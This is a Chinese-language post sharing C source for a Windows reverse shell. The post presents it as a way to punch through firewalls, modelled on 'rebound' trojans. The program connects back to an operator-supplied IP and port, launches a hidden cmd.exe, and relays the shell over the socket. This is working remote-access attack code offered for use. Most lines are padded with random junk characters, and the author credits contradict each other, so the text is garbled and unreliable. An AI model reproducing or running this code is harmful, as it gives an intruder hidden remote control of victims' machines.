这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @N(*1,s2
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/* ============================== T_=IH~"
Rebound port in Windows NT SJ
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By wind,2006/7 _NwB7@ e
===============================*/ KscugX*x
#include hxT{!g
#include Hv3<gyD
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#pragma comment(lib,"wsock32.lib") y;$
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void OutputShell(); >>>&{>}!
SOCKET sClient; bF"1M#u:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &"R`:`XF
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void main(int argc,char **argv) UN8]>#\"`
{ -jPrf:3)
WSADATA stWsaData; t[|aM-F&>
int nRet; 0]~'}
SOCKADDR_IN stSaiClient,stSaiServer; 3hD\6,@
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if(argc != 3) mS]&
{ u]<_6;_
printf("Useage:\n\rRebound DestIP DestPort\n"); +[lv
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return; uE;bNs'
} o<\uHr3
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WSAStartup(MAKEWORD(2,2),&stWsaData); )%(V.?eW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7_G$&
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stSaiClient.sin_family = AF_INET; #X`qkW.T<
stSaiClient.sin_port = htons(0); C1M @;
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .7`c(9<
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BYKONZu
{ XwlF[3VbiX
printf("Bind Socket Failed!\n"); qX%oLa
return; Y0?<~Gf
} U;qGUqI
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stSaiServer.sin_family = AF_INET; {gkY:$xnrG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9sId2py]W
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Z`jSpgWR
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {;2Gl $\r
{ D=^|6}
printf("Connect Error!"); cvk$ I"q+
return; )J>-;EYb8
} NGs@z^&V
OutputShell(); {kdS t1
} fgW>~m.W
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void OutputShell() 6E))4
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{ Zk*!,, P!
char szBuff[1024]; cxB{EH,2Um
SECURITY_ATTRIBUTES stSecurityAttributes; \pwg8p[4Q
OSVERSIONINFO stOsversionInfo; J};=)xLX;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L
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STARTUPINFO stStartupInfo; y7@q]~%
char *szShell; of<(4<T
PROCESS_INFORMATION stProcessInformation; %-Oo92tP
unsigned long lBytesRead; p
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sqE? U*8.-
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [:"7B&&A
stSecurityAttributes.lpSecurityDescriptor = 0; C#tY};t
stSecurityAttributes.bInheritHandle = TRUE; jT $
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); '.5_L8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5m\T~[`%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =&-+{txs
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tjWf`#tH>H
stStartupInfo.wShowWindow = SW_HIDE; ;cfmMt!QWJ
stStartupInfo.hStdInput = hReadPipe; W*jwf@
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ns#R`WG)
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GetVersionEx(&stOsversionInfo); j3_vh<U\
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switch(stOsversionInfo.dwPlatformId) *)82iD
{ En:/{~9{F
case 1: #57D10j
szShell = "command.com"; R\ZyS
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break; E,$5V^
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default: 79G& 0 P\
szShell = "cmd.exe"; kr{eC/Q"
break; wzNGL{3
} {~a+dEz
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); se]q~<&
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send(sClient,szMsg,77,0); Ow f:Kife
while(1) )a0%62
{ %5rC`9^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JoIh2P D
if(lBytesRead) TW)~&;1l
{ )D>= \Me
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [_w;=l0 ;
send(sClient,szBuff,lBytesRead,0); ,HHCgN
} A{,ZfX;SPO
else MFqM6_
{
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lBytesRead=recv(sClient,szBuff,1024,0); _+NM<o#A
if(lBytesRead<=0) break; = k7}[!T
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^!yJ;'H\
} MB:*WA&
} 6>R|B?I%
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return; eR*y<K(d
}